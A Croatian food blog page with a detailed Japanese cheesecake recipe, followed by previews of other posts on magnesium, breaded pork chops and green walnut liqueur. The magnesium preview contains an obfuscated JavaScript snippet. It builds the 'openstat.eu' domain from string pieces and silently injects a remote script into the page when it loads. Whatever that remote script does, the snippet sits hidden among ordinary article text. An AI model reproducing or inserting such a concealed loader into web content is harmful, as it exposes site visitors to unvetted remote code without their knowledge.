JAPANSKI CHEESECAKE - MEKAN POPUT OBLAKA I TOPI SE U USTIMA




Japanski cheesecake - mekan poput oblaka i topi se u ustima 



Japanski cheesecake potpuno je drukčiji od teških torti od sira na koje smo navikli. Nema podlogu od keksa ni debelu kremu. Okusom je negdje između cheesecakea i najmekšeg biskvita, a najveći dio posla odrađuju dobro istučeni bjelanjci i sporo pečenje.




Japanski cheesecake 


Sastojci:

  • 250 g krem sira
  • 50 g maslaca
  • 100 ml mlijeka
  • 6 jaja
  • 100 g šećera
  • 60 g glatkog brašna
  • 20 g kukuruznog škroba
  • 1 žlicu limunova soka
  • 1 žličicu ekstrakta vanilije
  • prstohvat soli
Jaja na početku odvojite na bjelanjke i žumanjke.




Priprema:

Prvo napravite glatku smjesu od sira
Krem sir, maslac i mlijeko lagano zagrijavajte na pari ili vrlo slaboj vatri, samo dok se ne sjedine u potpuno glatku smjesu.
 
Maknite s vatre i ostavite nekoliko minuta da se malo ohladi. Umiješajte žumanjke, vaniliju i limunov sok, a zatim prosijano brašno i kukuruzni škrob.
 
Smjesa treba biti glatka, bez grudica.
 
U drugoj zdjeli počnite miksati bjelanjke s prstohvatom soli. Šećer dodajte postupno i miksajte dok ne dobijete sjajni snijeg koji drži oblik, ali nije suh i tvrd.

 
Najvažniji trenutak dolazi prije pećnice
Trećinu snijega od bjelanjaka prvo umiješajte u smjesu sa sirom kako biste je omekšali.
 
Ostatak dodajte u još dva navrata i lagano povezujte špatulom, pokretima odozdo prema gore. Nemojte snažno miješati jer upravo zrak u bjelanjcima daje kolaču njegovu poznatu mekanu strukturu.
 
Smjesu ulijte u kalup obložen papirom za pečenje.

 
Peče se u vodenoj kupelji
  • Kalup stavite u dublji lim, a u lim ulijte vruću vodu do otprilike trećine visine kalupa.
  • Pecite oko 20 minuta na 160 °C, zatim smanjite temperaturu na 140 °C i pecite još 40 do 50 minuta.
  • Nakon pečenja ugasite pećnicu i ostavite vrata malo odškrinuta još 15 minuta.
    Nagla promjena temperature jedan je od razloga zbog kojih se ovako lagani kolači mogu jako spustiti.
  • Kada se ohladi, pospite ga šećerom u prahu. Najbolji dio dolazi tek tada.
Lagano pomaknite tanjur.
 
Ako se cijeli kolač nježno zatrese, uspjelo vam je upravo ono zbog čega je japanski cheesecake postao jedan od najprepoznatljivijih kolača na internetu.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više